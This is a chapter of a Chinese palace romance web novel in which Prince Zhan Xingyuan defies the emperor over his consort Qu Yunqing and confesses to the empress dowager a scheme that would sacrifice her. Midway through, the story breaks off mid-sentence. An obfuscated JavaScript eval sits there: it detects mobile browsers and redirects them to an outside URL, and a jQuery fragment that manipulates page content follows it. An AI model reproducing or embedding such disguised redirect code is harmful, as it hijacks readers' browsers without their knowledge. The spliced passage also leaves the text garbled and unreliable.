詹行远看见曲云青哭得起劲也知道她没什么事了,
“是我打扰王爷清梦了,只是做了个噩梦难免有些收不住眼泪。”曲云青上气不接下气地躺在榻上詹行远真怕她一个不留神晕过去,
“在本王身边让你这么恐惧吗,居然还哭了出来。”詹行远嘴上说着但还是起身下了床点燃了蜡烛又倒了杯水递给了曲云青,
“王爷也知道吗?”曲云青刚刚从噩梦中缓了过来胆子大了起来,“我做的哪件事不是在贵人的雷区游走,要不是您暂时留我有用恐怕早就魂归故里了。”
曲云青把杯中的冷茶一饮而尽后将杯子还给了詹行远,“王爷,妾身日日思念家人这日有所思,夜有所梦也是很正常的事情。”
曲云青躺下来侧身看着詹行远,“王爷没有做过噩梦吗?”
“没有。”詹行远上了榻躺在了曲云青身边看着她的青丝落在自己的身上,
“王爷,妾身死后可以把妾身的尸身运回江州吗,父亲不是古板之人若是您应允我也是可以进曲家祖坟宗祠的,到时候让阿姊的孩子逢年过节给我上柱香也算有后了。”曲云青柔声说着自己的身后事异常平静,
“你为何笃定自己会死?”詹行远呼吸一滞他陡然想起初见时她挥动匕首自尽毫不犹豫的样子,
“妾身只是觉得肆无忌惮的人大多没有好下场,虽然我的任意妄为都是借的您的势,但您是王爷您不会有错所以只能把我杀鸡儆猴了。”曲云青从永康公主来的那一刻就明白了自己的命运,
“但是我很开心,虽然王爷是利用我的容貌但王爷不是因为急色而是有自己的计划,不是想要霸占我而是因为我有用。”曲云青用手指玩着自己的发丝轻描淡写地说着,
“知道本王要你死居然还能如此心平气和吗?”詹行远不明白面前的人是装的还是真的不在意,
“如果我说我不想死王爷就会放过我吗?”曲云青看着头顶的罗帐深吸了口气,“哪有人不想活呢,可惜妾身过于貌美又势弱还不如替王爷做些事求王爷照拂我的家人。”
“你倒是盘算的清楚。”詹行远一直都觉得女子以容貌为荣却不知曲云青竟然会因容貌走上死路,
“当然了,人固有一死或轻于鸿毛或重于泰山。”曲云青毫无保留将自己的想法说了出来,
“睡吧,你接下来不会再做噩梦了吧?”漫漫长夜詹行远不想和曲云青谈论她的生死,这件事总归是自己亏欠她的,
“应该不会了吧,不过妾身要是再做噩梦王爷不会把妾身踢下去吧?”曲云青看着身边散发着冷气的詹行远问着,
“放心本王还没有心狠到这个地步。”詹行远默默往外挪动了几分,“本王只会把你叫醒!”
“王爷那妾身还是不睡了,妾身在这里守着王爷要是有刺客妾身绝对挡在王爷面前!”曲云青越说越兴奋甚至直接起身看着詹行远,
“曲云青你是不是还没有醒,这里是定王府守卫虽然不如宫里森严但也没有松散到有刺客随意闯入的境地。”詹行远将曲云青按在了榻上催促着,
“本王明日有大朝会要是睡不着可以闭眼但不要再说话了。”詹行远直接伸手捂住了曲云青的嘴示意她赶紧休息,迫于詹行远的威严曲云青板板正正地睡在榻上一点儿也不敢乱动,
寅时外头传来了风雨的声音,詹行远睁眼下床转身之际对上了曲云青满是血丝的眼睛,
“王爷,您去上朝了妾身终于可以休息了!”曲云青说完趴在了锦被上赶紧浑身的阳气都被吸干了,
“随你。”詹行远自己穿好衣衫后就看见曲云青瘫在床上睡了过去眼下的乌青即使是一点点光亮的屋内也格外明显,
“不要吵醒孺人。”詹行远快步走进雪里身后的秋叶缩回了想要推门的手,
“定王留步!”胡内侍看见詹行远的背影急忙高声喊着,“定王陛下邀您去紫宸殿议事。”
詹行远看着额头跑的出汗的胡内侍笑着,“胡内侍先擦擦汗吧,要是冷风一吹生了风寒就不好了。”胡内侍弯腰笑着拿出帕子匆忙擦了几下便带着詹行远朝着紫宸殿走去,
“陛下,定王殿下来了。”胡内侍和詹行远站在下首皇帝正提笔处理政务只是抬手让詹行远坐了下来,
“听说七弟最近得了个新宠。”皇帝语气平常但詹行远还是听出些不喜的意思,
“青青是个很好的女子,只是苦于身份不能当臣弟的正妻,现如今只给她一个孺人的位份实在是委屈她了臣弟此生都不立王妃,整个王府都由青青管家!”詹行远的话音刚落一个茶盏就冲着他砸来灵活躲过后白瓷的茶盏落在了柔软的地毯上,
“孤看你是疯了!”皇帝撂下手里的奏折直接走到了詹行远狠狠踹了他一脚,
“过几日孤会让母后给你挑几个大家闺秀,詹行远你别想给孤搞什么情深似海的样子,否则你的青青能不能好好的待在定王府孤就不知道了!”皇帝气不过又踹了詹行远一脚,
“皇兄,恕臣弟不能从命!”詹行远跪在了皇帝脚下挺直的背脊让人看着气愤,
“你是不是真的觉得孤不会对你动手!”皇帝气极反笑用手指着詹行远怒骂道:“孤现在就赐死曲云青!”
“皇兄那臣弟就跟她一起去!”詹行远虽然心中早有预料但听着皇帝真的要赐死曲云青的那一刻还是心疼了一瞬,
“你是在威胁孤吗!”皇帝现在怀疑那曲云青是不是会什么妖法或者下蛊了才让他的弟弟如此痴迷于她甚至不惜为她放弃性命,
“皇兄,青青是我一生的挚爱我只求能和她共白首,皇兄我不忍青青收到王妃的磋磨也不愿无辜的人加入王府被我不喜!”詹行远虽然字字真心但却把皇帝气得不轻直接扇了他一耳光,
“孤管不了你但母后可以,来人把定王送到殿交给太后!”皇帝气急但也无可奈何总归是自己的亲弟弟难不成真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016943|194224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的要下令杖责他,
殿中太后正在小佛堂礼佛外头吵闹的声音传进她的耳朵让她有些生气,
“不知道本宫这个时辰都在礼佛吗?”太后从内殿走出看见有些狼狈的詹行远皱了皱眉头,
“其他人都下去吧。”这对天家母子的对话自然不能让外人听见,
“母后,儿臣……”太后抬手打断了詹行远的辩驳眼中的怒意好像要把他烧干净一般,
“你觉得这样就能打消那些大臣的野心就能让你皇兄毫无芥蒂?”太后虽然没有学过帝王心术但在后宫多年总归是知道一些前朝的事情,
“儿臣是真的喜欢青青!”詹行远跪在殿中却不敢抬头看着高坐在上头的太后,
“宫里多的是经验丰富的嬷嬷只要一验便知真假。”太后拿起桌上的茶盏饮了一小口看向詹行远时满是恨铁不成钢,
“如此粗糙的局你也敢拿到本宫面前来?”太后看着下头跪着的詹行远发现不知不觉间他已经变成了自己认不出的样子,
“母后,儿臣只想要自保!”詹行远抬起头对上了太后失望的神色,
“儿臣从未觊觎皇位但奈何世事弄人,现在皇兄虽然不喜但依旧顾念血肉亲情但时间久了疑念顿起,那是再如何补救都没有办法了。”
詹行远背脊挺直一动不动地看着太后,“求母后成全儿臣!”
“你想让那个曲孺人死?”太后从来不知道自己的乖巧的儿子能如此做出这个局来,
“儿臣会给她补偿。”詹行远眼前闪现了几分曲云青的脸但还是狠下了心,
“人都死了你这么给她补偿?”太后听得发笑只觉得荒唐,
“你整日留恋古董现如今又想借着爱情离开京城为此还要牺牲一个人的性命,你可知你的妹妹以后也是要嫁人的你的皇兄的位置也不是稳如泰山,詹行远你是王爷即使最后身死也应该为国捐躯!”
太后将手里上好的茶盏扔在了詹行远的身上,褐色的茶水将他的朝服上印出丑陋的印子,
“是儿臣不想吗?”詹行远看着太后自嘲地笑了一声,“儿臣入过刑部也去过军中从未有一日忘记建功立业,但是儿臣越好皇兄就越忌惮即使一切如旧但儿臣和皇兄相伴多年只稍一点点变化就能有所察觉!”
“母后可以保证皇帝不会对你下手,行远回来吧朝堂需要你。”詹行远疲惫地摇摇头神情很是落寞,
“母后真的能替皇兄决定吗?”詹行远看着这殿中古朴的样子又想起了永康的身影,
“永康的婚事皇兄有什么打算,那些世家有人替家中的青年才俊求娶吗?”太后没有说话只是等着詹行远说下去,
“母后,永康的性子大家心知肚明她不会真的嫁给那些酒囊饭袋的。”
“好了,你妹妹的事情母后自有打算但是……你若不后悔就去做吧。”太后知道孩子大了再也劝不住了只能让身边的嬷嬷送詹行远离开了寝殿,